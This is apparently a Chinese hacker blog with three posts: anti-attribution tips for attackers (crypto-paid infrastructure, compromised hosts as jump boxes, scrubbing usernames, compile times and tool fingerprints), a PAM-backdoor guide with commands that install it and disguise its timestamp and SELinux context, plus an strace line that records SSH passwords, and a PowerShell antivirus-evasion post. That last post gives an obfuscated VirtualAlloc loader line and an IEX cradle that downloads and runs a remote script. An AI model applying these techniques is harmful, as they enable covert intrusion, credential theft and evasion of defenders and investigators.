总结下日站过程中没用的反溯源小经验 - 长期更新

开头

看了一些溯源文章,越看越害怕,越看越心惊。还好之前都没干什么坏事,不然按照我之前那水平肯定一下子就GG。

所以现在开始总结一些没啥用的反溯源小经验。

内容长期更新,不定期补充,欢迎大家留言。

顺带:这篇文章并不是让你隐藏对jc菽粟的追查,俺也不是啥境外势力。

目的只是为了在授权的红蓝对抗中对于蓝方的一些反溯源的没用技术。

收到删除请求将立刻删除此文章。

说在前头 - 最好的交易手法

最好的交易手法是使用矿机挖出虚拟货币然后寻找可以虚拟货币交易的运营商进行交易。

基础设施

域名

尽量使用免费域名,或者套用免费CDN

推荐个免费域名网站:我忘了

服务器

典型的支持btc交易的服务器商: https://app.bitlaunch.io/login

跳板机

尽量使用公共机场,免费机场,你日下来的小鸡以及支持BTC支付的机场商家。

同时你日下来的小鸡使用的协议尽量用于中转协议以及不要留下过多痕迹,否则也有被蓝队日下来然后部署嗅探器的风险。

使用的是vultr以及其他家的机器。

同时,不要过分相信自己的运营商,也不好相信小域名商。

运营商也有被日的风险!
运营商也有被日的风险!
运营商也有被日的风险!

同时无关于运营商,你在服务器上使用的软件也许也是有后门/漏洞的。或者是红队人员对于windows/linux机器了解不足导致配置错误被黑。

所以不要过分相信自己的服务器。

个人

路径与用户名

其中,比较明显的就是windows当前登录的用户名,不要用你的昵称或者网络id作为用户名,否则会发生以下情况

  • 一不小心使用kali自带ssh不带任何用户去连接目标服务器时,哪怕你立刻ctrl+c,对方的btmp中也会留下记录
  • 编译golang/c++等程序时候,如果没注意关闭调试信息,pdb会直接暴露你的路径信息,其中也许就包含你的网络id

密码

同理,不要在目标服务器留后门或者webshell时候,留下与你相关的密码字段,尽量无所谓或者随机生成,有时候哪怕你的密码和你的id无关,但是和通用密码一样,通用的后门密码/用户名也能把多起攻击行为关联成同一场攻击行动

文件编译时间

编译时间虽然不能代表什么,但是如果量足够多的话,还是能大致根据编译时间分析出时区,乃至作息时间。这也许无关紧要,但是 要知道千里之堤,溃于蚁穴。不只是红队在一步步打点,对于蓝队以及溯源专家来说挖掘信息也是靠着一点点收集的。

工具的使用

不同地区的黑阔爱用的工具不同,最典型的比如咱们大名鼎鼎的“中国菜刀”。尽量使用国际化或者开源工具。不要自己写,更不要自己写完丢github然后自己使用,除非你能确保你的工具使用的人数够多。实在不行你可以考虑编译成一份release然后丢到github。

黑白账户的关联

不要在本地机器上登录哪怕任何关于你的白身份信息。无处不在的web探针,jsonp蜜罐(特别是*SDN),有时候哪怕你更换浏览器,或者代理。下到窗口大小上至区级路由都有关联你两个身份信息的可能。

跳板机的使用

ss/v2这类先不说,轻便,快速,好用,缺点是使用s5,容易漏包。当你用这些代理访问的时候如果proxifer或者本地PAC突然爆炸以及一些奇怪的bug,可能泄露你真实IP信息等。

尽量使用全局+多层代理s5代理,速度是其次重点是安全。

字体以及语法以及一些其他的小习惯

钓鱼以及其他时候,不经意间使用了特殊的字体,比如哪怕你操着一股毛子语去钓鱼,但是人家一看你tmd用的字体是宋体。
或者说是你程序通篇韩语编译时间也是韩语,结果来了个易语言的报错傻子都知道你是谁.jpg

以及一些奇怪的拼写错误作为习惯出现,甚至哪怕你特别喜欢某种技术实现方式。比如特别喜欢b64+两层凯撒,甚至你b64替换表但是表每次都是相同的,这些蛛丝马迹都是别人关联到你的基础

不要在本机操作,但是也不要过度信任你的虚拟机

不多说,一台/多台虚拟机是你必备的选择。但是也不要过度信任自己的虚拟机。不要想着是在虚拟机中就可以随便下载文件。
大部分人甚至懒得修虚拟机windows的洞(没错我也是这样子的),也许目标能快速在你的虚拟机中漫游。
假设你踩了蜜罐,甚至中了C2木马,溯源者可以快速根据上面的信息快速在你的本地磁盘中搜索蛛丝马迹。
参考我之前做的那些CTF,我自己都tmd不知道windows原来还有这功能(指记录用户输入)。
更别说虚拟机逃逸这些高端功能。

不要用同一个环境日同一个目标太久

对于蓝队来说,最好的方式就是粘住攻击者,攻击者对于目标网络留的越久,泄露的信息也就越多。对于红队攻击人员来说也就越不利。

其他的暂时没想到,想到了再写

Tags: 溯源, 匿名

一般路过PAM后门 / SSH密码记录

直接开始

原理很多咱也不多说了,主要聊聊版本查询的问题。
中文搜索直接搜索关于pam版本信息的,大部分都是关于pam后门,内容几乎千篇一律,少部分是讲解PAM作用的。

rpm -qa |grep pam

然后debian系的下运行这个命令很大概率回会啥也不返回。这时候我们就应该用

dpkg -l | grep pam

这样子就行了
QQ截图20210204235236.png

推荐一个脚本

Linux-PAM-BACKDOOR

脚本使用方法就是

./backdoor.sh -m save -v 1.3.0 -o /tmp/log.txt

其中o为密码保存路径

之后就是克隆时间了

touch pam_unix.so -r pam_unix.so.src
ls -Z pam_unix.so.src
chcon –reference=pam_unix.so.src pam_unix.so

另外一种方案

如果只是为了记录密码

昨晚还从九世那学来一种新的

pid=ps -elf | grep "sshd -D" | grep -v grep | awk '{print $4}'
screen strace -f -p $pid -o /tmp/test.log -e trace=read,write -s 2048 &

photo_2021-02-06_18-24-01.jpg

Tags: none

PowerShell免杀

前言

明天早八算什么,话不多说,开整。
相比起PE文件,直接用分割语句的方式,定位查杀点,不难发现,不论是WD,360,火绒,查杀点都定位在

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))

这一语上,那么我们只要把这个混淆了不就搞定了

ps1 免杀

直接把这句提出来,单独保存为一个ps1,直接使用开源项目Invoke-Obfuscation
之后,直接使用

Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
SET SCRIPTBLOCK script_block_or_command
set scriptpath 单独提取出来的ps1地址
encoding\1

无标题.png
之后直接把上面的语句,替换成

$var_va = .(([stRInG]$vERbosePREfEReNCE)[1,3]+'x'-JoIN'')(( ('5b', 53, 79,73, 74 , 65 ,'6d' , '2e',52 ,75 , '6e' , 74, 69, '6d' , 65,'2e' , 49 , '6e', 74 ,65 , 72, '6f',70 , 53 ,65, 72, 76, 69 , 63 ,65 ,73, '2e','4d' , 61 ,72 , 73 , 68,61 ,'6c' ,'5d', '3a','3a' ,47 ,65, 74 ,44 ,65 , '6c' ,65,67,61 ,74, 65, 46 , '6f' ,72 , 46, 75,'6e',63, 74, 69, '6f' , '6e' , 50 , '6f' ,69,'6e' , 74 ,65, 72, 28 , 28 ,66, 75,'6e',63,'5f',67, 65 ,74,'5f',70,72, '6f' ,63, '5f' ,61, 64,64, 72 ,65, 73,73,20 , '6b', 65, 72 ,'6e' , 65 , '6c',33 , 32,'2e' , 64 , '6c' , '6c' ,20 , 56,69 ,72 ,74 , 75 , 61,'6c',41,'6c' ,'6c' , '6f',63,29 ,'2c' ,20, 28 , 66 , 75,'6e', 63,'5f', 67 , 65,74 , '5f' ,64 ,65, '6c' , 65, 67,61,74,65,'5f', 74 ,79 ,70 ,65 ,20 , 40 ,28,'5b', 49,'6e',74, 50, 74, 72 , '5d' ,'2c' , 20, '5b',55,49 , '6e', 74 , 33,32, '5d','2c' , 20, '5b',55,49,'6e' ,74, 33,32, '5d','2c' , 20 , '5b', 55 , 49 ,'6e' , 74,33,32,'5d' ,29 ,20 , 28 , '5b',49 ,'6e' ,74 ,50, 74 ,72,'5d',29 ,29, 29)| fOreach-oBjEct{( [cOnVeRT]::tOInT16(( $_.TOSTrinG() ) , 16) -aS [CHar]) } ) -joIN '')

photo_2021-04-22_02-01-19.jpg
huorong.jpg
360.jpg

之后精简语句,直接用网络上的远程下载执行

IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).P
sObject.Methods | Where-Object {$_.Name -like '*own*d*ing'}).Name).Invoke("http:
///ps1.txt")

把上面的powershell放上云就行

powershell command

明天找机会写

Tags: none